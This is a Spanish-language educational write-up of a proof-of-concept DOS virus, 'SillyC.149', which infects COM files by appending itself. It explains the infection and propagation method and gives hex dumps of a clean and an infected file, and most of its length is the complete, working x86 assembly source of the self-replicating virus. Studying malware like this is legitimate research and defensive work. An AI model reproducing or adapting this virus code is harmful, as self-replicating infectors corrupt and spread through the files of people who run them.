Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por postpending (adición posterior) en archivos COM. El virus infecta archivos en tiempo de ejecución.
Método de infección
Durante la infección, el virus reemplaza los primeros bytes del archivo huésped
(cabezal original) con una instrucción JMP
(cabezal viral) que dirige el flujo
de ejecución hacia el final del archivo donde se añade el cuerpo viral. El cabezal
original reemplazado es guardado en el cuerpo viral.
Cuando un archivo infectado es ejecutado, el virus se carga en memoria junto con este y se
ejecuta primero realizando sus propias acciones, al terminar restaura el cabezal original
en el offset CS:0100
(dirección de memoria donde se cargan los archivos COM en DOS) y
salta hacia dicho offset para permitirle al huésped su ejecución normal. Esto último
dificulta la detección por parte del usuario.
La primer generación del virus es diferente a las siguientes. La primera no tiene cabezal viral, ya que no está adherida a un huésped. Las siguientes generaciones al estar adheridas a un huésped se diferencian por tener cabezal y cuerpo viral.
Como resultado de la infección:
- Los archivos infectados ocuparán más espacio al contener el código viral. Con técnicas de stealth esta información se puede ocultar del usuario para dificultar su detección.
- Los archivos infectados tendrán un tiempo de ejecución mayor al incluir la pre ejecución del virus.
Método de propagación
La infección se realiza en el momento de ejecución infectando todos los archivos COM en el directorio actual a excepción de aquellos con atributo READ-ONLY, HIDDEN o SYSTEM.
Otros detalles
- Se utiliza una técnica básica para calcular el $\Delta$ offset, este es el posicionamiento relativo del virus en el archivo infectado. Esta técnica es detectada por cualquier anti-virus decente.
- Este virus no tiene reconocimiento propio, como consecuencia los archivos infectados pueden ser infectados nuevamente y comenzarán a crecer con cada nueva infección, sin funcionar mal pero volviéndose menos eficientes. En el peor caso, un archivo infectado múltiples veces puede llegar a sobrepasar el máximo tamaño que un archivo COM puede soportar, esto es 64KB.
- El virus no verifica que el tamaño del archivo COM sea adecuado para la infección. Si luego de la infección el tamaño total supera los 64KB, ya no es un archivo COM válido.
- La DTA (Disk Transfer Area) default no es re localizada. El uso de la DTA por parte del virus provocará un solapamiento de datos si el archivo huésped es un programa que recibe argumentos de ejecución ya que estos se guardan en el offset 0x80 que coincide con la ubicación default de la DTA.
Flujo de ejecución
Análisis estático
Hex dump de un archivo sano de tamaño 80 bytes:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 B4 09 BA 39 01 CD 21 90 ´.º9.Í!. 0x0008 90 90 90 90 90 90 90 90 ........ 0x0010 90 90 90 90 90 90 90 90 ........ 0x0018 90 90 90 90 90 90 90 90 ........ 0x0020 90 90 90 90 90 90 90 90 ........ 0x0028 90 90 90 90 90 90 90 90 ........ 0x0030 90 90 90 90 90 B4 00 CD .....´.Í 0x0038 21 54 68 69 73 20 69 73 !This is 0x0040 20 61 20 68 6F 73 74 20 a host 0x0048 66 69 6C 65 21 0D 0A 24 file!..$
Hex dump del archivo infectado:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 E9 4D 00 39 01 CD 21 90 éM.9.Í!. Cabezal viral 0x0008 90 90 90 90 90 90 90 90 ........ 0x0010 90 90 90 90 90 90 90 90 ........ 0x0018 90 90 90 90 90 90 90 90 ........ 0x0020 90 90 90 90 90 90 90 90 ........ 0x0028 90 90 90 90 90 90 90 90 ........ 0x0030 90 90 90 90 90 B4 00 CD .....´.Í 0x0038 21 54 68 69 73 20 69 73 !This is 0x0040 20 61 20 68 6F 73 74 20 a host 0x0048 66 69 6C 65 21 0D 0A 24 file!..$ 0x0050 E8 00 00 5D 81 ED 0B 01 è..].í.. Cuerpo viral 0x0058 B9 03 00 8D B6 9A 01 BF ¹...¶’.¿ 0x0060 00 01 F3 A4 B4 4E 33 C9 ..ó¤´N3É 0x0068 8D 96 94 01 CD 21 73 08 .–Œ.Í!s. 0x0070 EB 65 B4 4F CD 21 72 5F ëe´OÍ!r_ 0x0078 B4 3D B0 02 BA 9E 00 CD ´=°.ºž.Í 0x0080 21 72 EF 50 B4 3F 5B B9 !rïP´?[¹ 0x0088 03 00 8D 96 9A 01 CD 21 ...–’.Í! 0x0090 72 3F B8 00 42 33 C9 33 r?¸.B3É3 0x0098 D2 CD 21 72 34 A1 9A 00 ÒÍ!r4¡š. 0x00A0 2D 03 00 3E C6 86 9D 01 -..>Ɔ•. 0x00A8 E9 3E 89 86 9E 01 B4 40 é>‰†–.´@ 0x00B0 B9 03 00 8D 96 9D 01 CD ¹...–•.Í 0x00B8 21 72 16 B8 02 42 33 C9 !r.¸.B3É 0x00C0 33 D2 CD 21 72 0B B4 40 3ÒÍ!r.´@ 0x00C8 B9 95 00 8D 96 08 01 CD ¹•..–..Í 0x00D0 21 B4 3E CD 21 73 9B B9 !´>Í!s›¹ 0x00D8 00 01 FF E1 2A 2E 63 6F ..ÿá*.co 0x00E0 6D 00 B4 09 BA m.´.º Cabezal original
El archivo huésped ahora tiene 149 bytes adicionales de tamaño.
API utilizada
Se utilizan 8 servicios de la DOS API mediante la interrupción de software 21h.
Servicio | AH | Parámetros | Retorno | Versión DOS |
---|---|---|---|---|
Terminar programa | 00h | - | - | 1+ |
Abrir archivo existente | 3Dh | AL = modos de acceso e intercambio DS:DX -> nombre del archivo (ASCIZ) |
Éxito: CF = 0, AX = handle del archivo Error: CF = 1, AX = código de error |
2+ |
Cerrar archivo | 3Eh | BX = handle del archivo | Éxito: CF = 0, AX destruido Error: CF = 1, AX = código de error |
2+ |
Lectura de archivo o dispositivo |
3Fh | BX = handle del archivo CX = nro. de bytes DS:DX -> offset donde guardar datos |
Éxito: CF = 0, AX = nro. de bytes transferidos Error: CF = 1, AX = código de error |
2+ |
Escribir en archivo o dispositivo |
40h | BX = handle del archivo CX = nro. de bytes DS:DX -> datos a escribir |
Éxito: CF = 0, AX = nro. de bytes escritos Error: CF = 1, AX = código de error |
2+ |
Establecer puntero de archivo | 42h | AL = código de desplazamiento BX = handle del archivo CX = mitad mayor de desplazamiento DX = mitad menor de desplazamiento |
Éxito: CF = 0, CX = mitad mayor, DX = mitad menor Error: CF = 1, AX = código de error |
2+ |
Buscar el primer archivo coincidente |
4Eh | CX = máscara de atributos de archivo DS:DX -> nombre del archivo (ASCIZ) |
Éxito: CF = 0, resultado en DTA Error: CF = 1, AX = código de error |
2+ |
Buscar el siguiente archivo coincidente |
4Fh | - | Exito: CF = 0, resultado en DTA Error: CF = 1, AX = código de error |
2+ |
Código fuente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
;##############################################################################
;# Nombre: virus://DOS/SillyC.149
;# Plataforma: Intel x86
;# SO: DOS v2.0+, Win32 (mediante NTVDM)
;# Lenguaje: ASM x86-16 (sintaxis Intel)
;# Herramientas: TASM v4.1, TLINK v7.1.30.1
;# Tipo: Parasitic, Non-Resident, COM infector
;# Tamaño: 149 bytes
;# Propagación: Acción directa sobre el directorio actual.
;# Infección: Postpending en archivos COM (no READ-ONLY/HIDDEN/SYSTEM).
;# Sin reconocimiento propio.
;# Residente: No
;# Stealth: No
;# Payload: No
;##############################################################################
.8086
.model tiny
assume cs:virus, ds:virus
virus segment byte public 'CODE'
org 100h
start:
jmp short body ; cabezal, en las siguientes generaciones aquí
nop ; habrá un near JMP de 3 bytes
mov ah, 00h ; / huésped dummy, solo retorna a DOS
int 21h ; \
body:
call d_offset ; calcular delta offset
d_offset:
pop bp
sub bp, offset d_offset
mov cx, 3 ; restaurar cabezal original
lea si, [bp + host_head]
mov di, 100h
rep movsb
mov ah, 4Eh ; | AH = 4Eh
xor cx, cx ; | CX = 0, archivos normales
lea dx, [bp + search_str] ; | DS:DX -> "*.COM"
int 21h ; |_DOS API - Buscar primer archivo
jnc infect_file ; archivo encontrado
jmp exit ; no hay archivo
find_next:
mov ah, 4Fh ; | AH = 4Fh
int 21h ; |_DOS API - Buscar siguiente archivo
jc exit ; no hay archivo
infect_file:
mov ah, 3Dh ; | AH = 3Dh
mov al, 2 ; | AL = 2, lectura y escritura
mov dx, 9Eh ; | DS:DX -> DTA + 1Eh = 9Eh (FileName)
int 21h ; |_DOS API - Abrir archivo existente
jc find_next ; no se puede abrir archivo, buscar siguiente archivo
push ax ; guardar handle y continuar infección
mov ah, 3Fh ; | AH = 3Fh
pop bx ; | BX = handle del archivo
mov cx, 3 ; | CX = tamaño del cabezal, 3 bytes
lea dx, [bp + host_head] ; | DS:DX -> destino: buffer para cabezal original
int 21h ; |_DOS API - Leer de archivo/dispositivo
jc close_file ; no se puede leer el archivo, cerrarlo
mov ax, 4200h ; | AX = 4200h (principio del archivo)
xor cx, cx ; | CX = 0
xor dx, dx ; | DX = 0
int 21h ; |_DOS API - Establecer puntero en archivo
jc close_file ; no se puede trabajar con el archivo, cerrarlo
mov ax, word ptr [ds:9Ah] ; calcular el largo del JMP para el cabezal viral, DTA+1Ah=9Ah (FileSize)
sub ax, 3 ; restarle 3 bytes del near JMP
mov byte ptr [bp + tmp_head], 0E9h ; construir cabezal viral en buffer temporal (E9h = near JMP)
mov word ptr [bp + tmp_head + 1], ax
mov ah, 40h ; | AH = 40h
mov cx, 3 ; | CX = tamaño del cabezal, 3 bytes
lea dx, [bp + tmp_head] ; | DS:DX -> origen: buffer temporal para cabezal viral
int 21h ; |_DOS API - Escribir en archivo/dispositivo
jc close_file ; no se puede trabajar con el archivo, cerrarlo
mov ax, 4202h ; | AX = 4202h (fin del archivo)
xor cx, cx ; | CX = 0
xor dx, dx ; | DX = 0
int 21h ; |_DOS API - Establecer puntero en archivo
jc close_file ; no se puede trabajar con el archivo, cerrarlo
mov ah, 40h ; | AH = 40h
mov cx, VIRUS_SIZE ; | CX = tamaño del virus
lea dx, [bp + body] ; | DS:DX -> origen: inicio del código viral
int 21h ; |_DOS API - Escribir en archivo/dispositivo
close_file:
mov ah, 3Eh ; | AH = 3Eh
int 21h ; |_DOS API - Cerrar archivo
jnc find_next ; si CF=0, buscar siguiente archivo
exit:
mov cx, 0100h
jmp cx ; saltar a CS:0100 y ejecutar huésped
search_str db "*.COM", 00h ; nombre comodín de búsqueda
host_head db 90h, 90h, 90h ; buffer para cabezal original
VIRUS_SIZE equ ($ - body) ; tamaño del virus
tmp_head db 3 dup (?) ; buffer temporal para el cabezal viral
virus ends
end start
Casos reales
- El virus Vienna fue aislado por primera vez en Abril de 1988 en Moscú. Se trata de un virus no residente, infector de archivos COM por acción directa. Como su código fuente se hizo público, aparecieron muchas variantes del mismo.
- La familia de virus Sality es un ejemplo moderno de virus polimórficos que infectan archivos ejecutables de Windows con extensión .exe o .scr. Desde su descubrimiento inicial, las variantes de esta familia se han vuelto más sofisticadas.
Bibliografía
- Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
- Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
- Phalcon-Skism. 40-Hex.